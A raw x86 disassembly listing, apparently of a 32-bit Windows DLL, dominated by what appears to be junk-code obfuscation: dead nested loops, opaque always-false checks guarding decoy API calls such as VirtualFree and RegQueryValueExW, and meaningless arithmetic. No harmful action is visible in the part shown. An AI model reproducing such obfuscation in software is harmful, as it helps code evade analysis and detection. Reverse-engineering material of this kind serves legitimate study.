mov eax, dword [ebp - 0x160]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0x10
call fcn.1002bdf5
jmp 0x10035c10
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x164], eax
push 2
pop edx
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
jl 0x10035c3e
mov dword [ebp - 0x40], 0xff9b
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10035c32
mov dword [ebp - 0x50], esi
dec dword [ebp - 0x14]
jns 0x10035c2a
mov dword [ebp - 0x40], 0xfffffff8
dec dword [ebp - 0x34]
jns 0x10035c1b
inc dword [ebp - 0x30]
jmp 0x10035a37
mov dword [ebp - 0x2c], 0xa
jmp 0x10035c6d
mov dword [ebp - 0x1c], ebx
jmp 0x10035c65
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34c]
cmp dword [eax + ecx*4], ebx
jne 0x10035c6a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10035c54
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x15
jle 0x10035c4f
lea ecx, [ebp - 0x34c]
call fcn.1002bdf5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x27c]
call fcn.1002bdf5
mov dword [ebp - 0x24], 0xa48bbca6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x54], 0x9c710427
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x14], ebx
jmp 0x10035cc2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x73c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10035cb5
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 0x10
jne 0x10035e0f
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x5c], 0x5f8
cmp dword [ebp - 0x5c], 0x8b7
jle 0x10035d51
mov ecx, ebx
mov dword [ebp - 0x50], ebx
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov edx, ecx
mov esi, ebx
mov ecx, eax
shl edx, cl
mov dword [ebp - 0x44], edx
mov edi, ebx
mov ecx, esi
mov ebx, edx
sar ebx, cl
mov eax, ebx
mov ecx, 0x10608998
xor eax, edi
cdq
push edx
push eax
call fcn.1002bc5e
inc edi
cmp edi, 0x64c3
jl 0x10035d08
mov edx, dword [ebp - 0x44]
inc esi
push 0
pop ebx
cmp esi, 0x179c
jl 0x10035d00
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x56a
jl 0x10035cf5
inc ecx
mov dword [ebp - 0x50], ecx
cmp ecx, 0x67d9
jl 0x10035cf0
xor esi, esi
inc esi
mov dword [ebp - 0x14], ebx
jmp 0x10035d67
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4e4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035d56
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x5c], 0x5e1
jge 0x10035d8c
mov edx, 0x1000a25c
mov ecx, 0x10608998
call fcn.1002d708
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x4c]
xor edx, edx
dec dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
cmp eax, 0xc1b0
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x738]
setg dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
setge cl
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x4e4], ecx
inc dword [ebp - 0x34]
jmp 0x10035cca
mov dword [ebp - 0x4c], 0xab77c19c
mov dword [ebp - 0x24], 0xfffffff7
cmp dword [ebp - 0x24], 0xa
mov edi, 0xe6da5043
jg 0x10037621
mov dword [ebp - 0x20], 0x3d9b950
mov dword [ebp - 0x50], 0x133f
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], 0x868fdadf
mov dword [ebp - 0x44], 0xd976d993
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10035e62
push ebx
push ebx
push 0xc24
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [ebp - 0x38]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x50]
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
cmp edi, ecx
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
cmp ecx, 0xfffffffe
jne 0x10035ecc
mov eax, esi
cmp dword [ebp - 0x14], ebx
jne 0x10035ece
mov eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x30], 0x44455595
mov dword [ebp - 0x38], 0x7bcc
cmp dword [ebp - 0x38], 0x7bde
jle 0x10035f3f
push 0x1d8e
call dword [sym.imp.USER32.dll_GetKeyState]
mov dword [ebp - 0x50], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x50]
mov eax, edi
mov ecx, 0x10608998
cdq
idiv esi
and edx, ebx
mov eax, edx
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0x7bb1
jl 0x10035f03
inc edi
push 0
pop ebx
cmp edi, 0x7552
jl 0x10035efe
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp eax, 0x57fe
jl 0x10035efc
xor esi, esi
inc esi
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x38], 0x7ad3
jge 0x10035f5e
mov edx, 0x1000a2b0
mov ecx, 0x10608998
call fcn.1002d708
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x44], 0x25d16df2
mov dword [ebp - 0x14], ebx
jmp 0x10035fa0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d8], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035f93
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10035fc0
push ebx
push ebx
push 0x2113
push 0x24b3
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x54], 0xbebf3b8c
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x40], 0xe60f951f
mov dword [ebp - 0x54], 0x876942a1
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10035ff8
push 0x1597
call dword [sym.imp.USER32.dll_GetKeyboardType]
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xfffffff9
push 2
call fcn.1002bd73
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x2c], 0x1824a8c6
mov dword [ebp - 0x3c], 0x8a062b00
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x38], 0x5179
cmp dword [ebp - 0x38], 0x54f8
jle 0x1003608b
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x90c]
xor eax, edi
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10036064
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x90c]
call fcn.1002c0ff
inc esi
cmp esi, 0x45b1
jl 0x10036048
inc edi
cmp edi, 0x40af
jl 0x10036046
mov dword [ebp - 0x4c], 0xffffffff
cmp dword [ebp - 0x38], 0x50ed
jge 0x100360a6
push 0x1000a338
call fcn.1004b066
pop ecx
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x5c], 0x2158
cmp dword [ebp - 0x5c], 0x2232
jle 0x1003610a
mov eax, ebx
mov dword [ebp - 0x50], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
cdq
mov edi, ebx
idiv esi
mov esi, 0x691
mov dword [ebp - 0x44], edx
mov ebx, edx
mov eax, edi
mov ecx, 0x10608998
cdq
push edx
push eax
call fcn.1002bc5e
add edi, ebx
dec esi
jne 0x100360d6
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
inc esi
mov dword [ebp - 0x38], esi
push 0
pop ebx
cmp esi, 0x7a33
jl 0x100360c7
inc eax
mov dword [ebp - 0x50], eax
cmp eax, 0xc10
jl 0x100360c2
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x5c], 0x1e3e
jge 0x10036144
mov edx, 0x1000a380
mov ecx, 0x10608998
call fcn.1002d708
jmp 0x10036144
push 3
xor esi, esi
mov dword [ebp - 4], 0x18
pop edi
inc esi
mov dword [ebp - 0x14], ebx
jmp 0x10036163
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x75c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10036156
mov dword [ebp - 0x2c], ebx
jmp 0x100362cb
push 2
lea ecx, [ebp - 0x364]
call fcn.1002bd73
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x20], ebx
push 2
call fcn.1002bd73
push 2
mov dword [ebp - 0x48], ebx
pop edx
jmp 0x100361a9
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x364]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jl 0x1003619a
mov dword [ebp - 0x48], ebx
jmp 0x100361c6
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x430]
mov dword [eax + ecx*4], 0x9fb1c038
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jl 0x100361b3
mov dword [ebp - 0x48], ebx
jmp 0x100361e1
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x77c], 0x51f08a1b
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 4
jl 0x100361d0
mov dword [ebp - 0x20], ebx
jmp 0x1003623b
mov dword [ebp - 0x14], 0xccb03629
mov dword [ebp - 0x54], 0xee327439
mov dword [ebp - 0x54], 0x250db856
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10036233
mov dword [ebp - 0x1c], 0x958900fd
inc dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ebx
jmp 0x1003622b
mov dword [ebp - 0x44], 7
cmp dword [ebp - 0x44], ebx
jne 0x10036230
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1003621c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1003620d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x100361ec
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, 0xc586
setge cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x430]
mov dword [eax + 4], 0xfffffffd
mov eax, dword [ebp - 0x3c]
cmp eax, 0xf1bd53d2
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0x4bb3
mov eax, dword [ebp - 0x364]
setl cl
xor edx, edx
cmp ecx, dword [eax + 4]
lea ecx, [ebp - 0x430]
mov eax, dword [ebp - 0x2c]
setl dl
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x4c], 0xcaa8
mov dword [ebp - 0x770], eax
call fcn.1002bdf5
lea ecx, [ebp - 0x364]
mov byte [ebp - 4], 0x18
call fcn.1002bdf5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x10036171
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x56c]
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x34]
push edi
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x54], 0xf934f545
mov dword [ebp - 0x54], 0x49f4ffcf
mov dword [ebp - 0x54], 0xfffffffa
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x5c], 0x5256ee97
mov dword [ebp - 0x54], ebx
call fcn.1002bd73
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x54], 0x7fffaa23
mov dword [ebp - 0x54], 0x5a82a6f9
push 4
call fcn.1002bd73
mov dword [ebp - 0x20], ebx
jmp 0x10036352
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x56c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10036343
mov dword [ebp - 0x20], ebx
jmp 0x1003636f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5e4]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1003635c
mov dword [ebp - 0x14], 0x18
jmp 0x1003642c
mov dword [ebp - 0x44], 0xa60d0058
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x50], 0x2603
mov dword [ebp - 0x38], 0xcce3
mov dword [ebp - 0x4c], 0xfffe
mov dword [ebp - 0x20], ebx
jmp 0x100363ba
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2ec], 0xfffffffa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100363a9
mov dword [ebp - 0x20], ebx
jmp 0x100363d6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x294], 0xfffffff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100363c5
cmp dword [ebp - 0x44], ebx
je 0x100363e8
dec dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
jmp 0x10036416
mov ecx, dword [ebp - 0x2e8]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setle dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x294]
mov eax, dword [ebp - 0x294]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28c]
xor ecx, ecx
cmp eax, esi
setg cl
mov dword [ebp - 0x2e8], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jle 0x10036381
lea ecx, [ebp - 0x5e4]
call fcn.1002bdf5
lea ecx, [ebp - 0x56c]
mov byte [ebp - 4], 0x18
call fcn.1002bdf5
mov dword [ebp - 0x14], ebx
jmp 0x10036468
cmp dword [ebp - 0x14], 2
jl 0x10036455
mov dword [ebp - 0x54], 0x862f
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037642
push 0x1857
push 0x1474
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037656
push 0x27a
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], 0x7f64
cmp dword [ebp - 0x40], 0x806e
jle 0x100376d2
push 0x1a7f
push 0x164d
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x8ac]
xor eax, edi
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100376ab
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8ac]
call fcn.1002c0ff
inc esi
cmp esi, 0x2e7d
jl 0x1003768f
inc edi
cmp edi, 0x7d8c
jl 0x1003768d
mov dword [ebp - 0x5c], 0xfff9
cmp dword [ebp - 0x40], 0x7f24
jge 0x100376ed
push 0x1000a5fc
call fcn.1004b066
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x44], 0xe87122a2
mov dword [ebp - 0x40], 0x1bd8
cmp dword [ebp - 0x40], 0x1c9e
jle 0x10037731
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
mov ecx, 0x10608998
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0x69bd
jl 0x1003770c
inc edi
cmp edi, 0x61ac
jl 0x1003770a
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x40], 0x18ed
jge 0x1003776e
mov edx, 0x1000a620
mov ecx, 0x10608998
call fcn.1002d708
jmp 0x1003776e
or dword [ebp - 4], 0xffffffff
xor edi, edi
inc edi
mov dword [ebp - 0x14], ebx
jmp 0x10037784
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003777a
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x100377a2
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x100377a2
inc dword [ebp - 0x3c]
dec dword [ebp - 0x20]
jns 0x10037791
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
inc eax
je 0x100377bb
mov edx, edi
cmp dword [ebp - 0x3c], ebx
jne 0x100377bd
mov edx, ebx
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setne al
inc eax
cmp eax, dword [ebp - 0x38]
jg 0x1003792a
mov dword [ebp - 0x50], 0x8f9611ca
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jg 0x1003793f
mov dword [ebp - 0x38], 0x40a
cmp dword [ebp - 0x38], 0x64c
jle 0x1003784f
mov eax, ebx
mov dword [ebp - 0x4c], ebx
mov edi, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], edi
mov esi, ebx
and edi, eax
mov eax, edi
mov ecx, 0x10608998
xor eax, esi
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0xf2e
jl 0x10037815
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x67b
jl 0x1003780e
inc eax
mov dword [ebp - 0x4c], eax
cmp eax, 0x54f5
jl 0x10037809
xor edi, edi
inc edi
mov dword [ebp - 0x40], 0xd6cd
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x38], 0x3ed
jge 0x10037875
mov edx, 0x1000a6a4
mov ecx, 0x10608998
call fcn.1002d708
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], ebx
push 8
pop esi
cmp dword [ebp - 0x20], ebx
jl 0x100378fa
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp + eax*4 - 0x74]
mov ecx, dword [ebp - 0x40]
sub ecx, 3
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, esi
setge al
xor ecx, ecx
cmp eax, edx
setge cl
xor edx, edx
cmp ecx, 0xfffffff8
setne dl
xor ebx, ebx
add edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x3c]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x74]
cmp eax, 2
setl cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0xea
jl 0x100378e0
mov eax, ebx
cmp dword [ebp - 0x5c], ebx
je 0x100378e2
mov eax, edi
imul edx, eax, 5
xor ecx, ecx
add edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x40]
cmp edx, eax
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x20]
jns 0x10037884
inc dword [ebp - 0x14]
jmp 0x100377eb
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1003793f
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov byte [ebp - 0x15], bl
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x2c], 0x3629aa8
push 2
call fcn.1002bd73
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x14], ebx
jmp 0x10037978
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x310]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037969
mov dword [ebp - 0x24], 0x1c
jmp 0x10037a8e
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x4c], 0x732a
mov dword [ebp - 0x40], 0xdb6b7be2
mov dword [ebp - 0x44], 0x2ff3e141
cmp dword [ebp - 0x24], ebx
je 0x100379dc
mov dword [ebp - 0x14], ebx
jmp 0x100379bd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9b8], 0x137b1891
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100379ac
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100379d4
push ebx
push ebx
call dword [sym.imp.USER32.dll_CopyRect]
dec dword [ebp - 0x3c]
jmp 0x10037a71
mov dword [ebp - 0x14], 0x9328a062
mov dword [ebp - 0x44], 0x33563700
cmp dword [ebp - 0x14], ebx
je 0x100379f6
mov esi, edi
cmp dword [ebp - 0x4c], ebx
jne 0x100379f8
mov esi, ebx
cmp dword [ebp - 0x3c], 2
mov eax, dword [ebp - 0x4c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
imul edx, ecx, 0xde46
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
imul eax, esi
test eax, eax
jne 0x10037a67
mov ecx, ebx
cmp dword [ebp - 0x24], ebx
je 0x10037a69
mov ecx, edi
mov eax, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], ebx
jmp 0x10037a85
mov dword [ebp - 0x44], 0xae45661c
cmp dword [ebp - 0x44], ebx
jne 0x10037a8b
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff8
je 0x10037a76
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x18
jle 0x1003798a
mov dword [ebp - 0x40], 0x5cba
cmp dword [ebp - 0x40], 0x5e68
jle 0x10037ad9
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
mov ecx, 0x10608998
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0x4a55
jl 0x10037aac
inc edi
cmp edi, 0x1afa
jl 0x10037aaa
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
xor edi, edi
inc edi
push 2
mov dword [ebp - 0x24], ebx
pop esi
jmp 0x10037af4
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x310]
mov dword [eax + ecx*4], 0x6bae055a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10037ae1
mov byte [ebp - 4], 0x39
cmp dword [ebp - 0x40], 0x5c12
jge 0x10037b39
mov edx, 0x1000a6f8
mov ecx, 0x10608998
call fcn.1002d708
jmp 0x10037b39
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x310]
call fcn.1002bdf5
cmp byte [ebp - 0x15], 0
je 0x10037c2c
mov dword [ebp - 0x14], 0xfffd
lea ecx, [ebp - 0x3c4]
mov dword [ebp - 0x34], 0xbf2b2994
mov dword [ebp - 0x3c], 0x7cfaf425
push esi
call fcn.1002bd73
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x30], ebx
jmp 0x10037b8e
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10037b7f
mov dword [ebp - 0x30], ebx
jmp 0x10037ba5
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x50c], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10037b98
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setg dl
dec dword [ebp - 0x3c]
cmp eax, edx
mov eax, dword [ebp - 0x14]
mov edx, edi
cmovge edx, ebx
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c4]
neg ecx
sbb ecx, ecx
add ecx, 0xfe835b19
mov dword [eax + 4], ecx
je 0x10037c02
mov eax, edi
cmp dword [ebp - 0x3c], ebx
jne 0x10037c04
mov eax, ebx
mov esi, 0xfffc
lea ecx, [ebp - 0x3c4]
cmp esi, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x508], eax
call fcn.1002bdf5
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x258]
push edi
call fcn.1002bd73
mov dword [ebp - 4], 0x3b
mov esi, 0x5fb49a5c
mov dword [ebp - 0x54], 0x9f3b06d9
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x44], 0x320525c7
mov dword [ebp - 0x45c], esi
mov dword [ebp - 0x458], esi
mov dword [ebp - 0x454], esi
mov dword [ebp - 0x450], esi
mov dword [ebp - 0x30], ebx
jmp 0x10037c86
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb8], 0xfffd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10037c75
mov dword [ebp - 0x30], ebx
jmp 0x10037ca0
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x258]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10037c91
mov dword [ebp - 0x24], ebx
mov esi, 0x8f5b6ef3
cmp dword [ebp - 0x24], 2
jg 0x10037f36
mov dword [ebp - 0x50], ebx
lea ecx, [ebp - 0x31c]
push 3
call fcn.1002bd73
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x38], 0xfffd
mov dword [ebp - 0x54], 9
push edi
call fcn.1002bd73
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0x30], ebx
jmp 0x10037d01
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x31c]
mov dword [eax + ecx*4], 0x64548797
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10037cee
mov dword [ebp - 0x30], ebx
jmp 0x10037d1f
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x498]
mov dword [eax + ecx*4], 0xd4e0d3bd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10037d0c
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xb8], 0xa0d461e3
sbb eax, eax
xor ebx, ebx
inc eax
cmp eax, 0xfffffffc
